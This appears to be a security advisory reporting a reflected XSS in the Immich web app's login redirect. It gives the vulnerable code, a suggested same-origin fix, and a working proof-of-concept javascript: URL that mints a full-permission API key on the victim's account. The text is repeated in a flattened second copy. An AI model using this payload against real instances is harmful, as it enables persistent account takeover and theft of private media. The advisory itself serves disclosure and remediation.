Affected: main branch builds since commit 4ffa26c9 (PR #27831, merged 2026-04-15), including the :main Docker tag and any nightly. No tagged release is affected — v2.7.5 (the current stable) and earlier are safe.
Patched in: not yet patched; the bug currently sits on main and will ship in the next tagged release unless fixed before then.
Summary
A reflected cross-site scripting (XSS) vulnerability on the /auth/login page allows an attacker to fully compromise any authenticated user's account with a single link click. The continue query parameter is read from the URL and passed to SvelteKit's redirect() without any scheme or origin validation, allowing attacker-controlled JavaScript to execute inside Immich's origin. The payload then uses the victim's existing session to mint an all-permission API key on their account, leading to persistent account takeover.
Details
In web/src/routes/auth/login/+page.ts (introduced by PR #27831, commit 4ffa26c9, 2026-04-15):
const continueUrl = url.searchParams.get('continue') || Route.photos();
if (authManager.authenticated) {
redirect(307, continueUrl);
}
The continue value is taken from the URL and handed directly to redirect(). SvelteKit's redirect() performs no validation on the destination, and the client-side runtime ultimately resolves the redirect via location.href = url.href inside native_navigation. For a javascript: URL, this causes the browser to evaluate the JS expression in Immich's origin, with the victim's session cookie attached automatically to any subsequent same-origin request.
Because the cookies are HttpOnly, the attacker does not need to read them — the browser attaches them to any fetch('/api/...') the injected script makes.
PoC
- Run a vulnerable Immich (any build from
main since 2026-04-15, e.g. the ghcr.io/immich-app/immich-server:main Docker tag).
- As the victim, log in normally.
- Cause the victim to visit (chat, email, hidden iframe, link shortener) — replace
<immich-host> with the real hostname of the target instance:
http://<immich-host>/auth/login?continue=javascript:fetch('/api/api-keys',{method:'POST',headers:{'content-type':'application/json'},body:'{"name":"pwned","permissions":["all"]}'}).then(r=>r.json()).then(d=>{alert('PWNED\nSECRET='.concat(d.secret));window.__pwned=d});void(0)

Observed in a real browser (Chrome, latest):
- The browser navigates to
/auth/login?continue=….
- A native alert dialog pops, reading:
PWNED
SECRET=<a working, full-permission API key>
- DevTools → Network shows a real
POST /api/api-keys with {"name":"pwned","permissions":["all"]}, response 201.
- The new key appears in Account Settings → API Keys, named
pwned, with the full permission list checked.
- The captured secret authenticates against
/api/users/me from any host via the x-api-key header, proving the access is persistent across logout, password change, and session expiry.
Verified end-to-end on 2026-05-11 against ghcr.io/immich-app/immich-server:main.
Impact
- Type: Reflected XSS leading to full account takeover.
- Precondition: Victim is authenticated at the time of the click. Immich sessions persist for long periods, so this is satisfied for typical users.
- What an attacker obtains: A persistent, full-permission API key on the victim's account. Works from any machine on the internet that can reach the Immich instance. Survives logout, password rotation, and session expiry. Can only be revoked by manually deleting it from Account Settings → API Keys.
- Concrete capabilities: read/delete every photo and video, modify settings, change email/password, exfiltrate face and GPS data, invite the attacker into shared albums. If the victim is an admin, modify global instance settings and lock the real admin out.
Suggested fix
Validate that continueUrl is a same-origin relative path before passing it to redirect():
const raw = url.searchParams.get('continue');
const continueUrl =
raw && raw.startsWith('/') && !raw.startsWith('//')
? raw
: Route.photos();
startsWith('/')
keeps the destination inside the app.
!startsWith('//') blocks protocol-relative URLs like //evil.com.
- Together, this rejects
javascript:, data:, https://evil.com, and //evil.com.
Apply the same check to web/src/routes/auth/pin-prompt/+page.ts for consistency — that sink is currently neutralized by a different SvelteKit guard but would benefit from the same allow-list.
Affected:
mainbranch builds since commit4ffa26c9(PR #27831, merged 2026-04-15), including the:mainDocker tag and any nightly. No tagged release is affected — v2.7.5 (the current stable) and earlier are safe.Patched in: not yet patched; the bug currently sits on
mainand will ship in the next tagged release unless fixed before then.Summary
A reflected cross-site scripting (XSS) vulnerability on the
/auth/loginpage allows an attacker to fully compromise any authenticated user's account with a single link click. Thecontinuequery parameter is read from the URL and passed to SvelteKit'sredirect()without any scheme or origin validation, allowing attacker-controlled JavaScript to execute inside Immich's origin. The payload then uses the victim's existing session to mint anall-permission API key on their account, leading to persistent account takeover.Details
In
web/src/routes/auth/login/+page.ts(introduced by PR #27831, commit4ffa26c9, 2026-04-15):The
continuevalue is taken from the URL and handed directly toredirect(). SvelteKit'sredirect()performs no validation on the destination, and the client-side runtime ultimately resolves the redirect vialocation.href = url.hrefinsidenative_navigation. For ajavascript:URL, this causes the browser to evaluate the JS expression in Immich's origin, with the victim's session cookie attached automatically to any subsequent same-origin request.Because the cookies are
HttpOnly, the attacker does not need to read them — the browser attaches them to anyfetch('/api/...')the injected script makes.PoC
mainsince 2026-04-15, e.g. theghcr.io/immich-app/immich-server:mainDocker tag).<immich-host>with the real hostname of the target instance:/auth/login?continue=….POST /api/api-keyswith{"name":"pwned","permissions":["all"]}, response 201.pwned, with the full permission list checked./api/users/mefrom any host via thex-api-keyheader, proving the access is persistent across logout, password change, and session expiry.Verified end-to-end on 2026-05-11 against
ghcr.io/immich-app/immich-server:main.Impact
Suggested fix
Validate that
continueUrlis a same-origin relative path before passing it toredirect():startsWith('/')keeps the destination inside the app.
!startsWith('//')blocks protocol-relative URLs like//evil.com.javascript:,data:,https://evil.com, and//evil.com.Apply the same check to
web/src/routes/auth/pin-prompt/+page.tsfor consistency — that sink is currently neutralized by a different SvelteKit guard but would benefit from the same allow-list.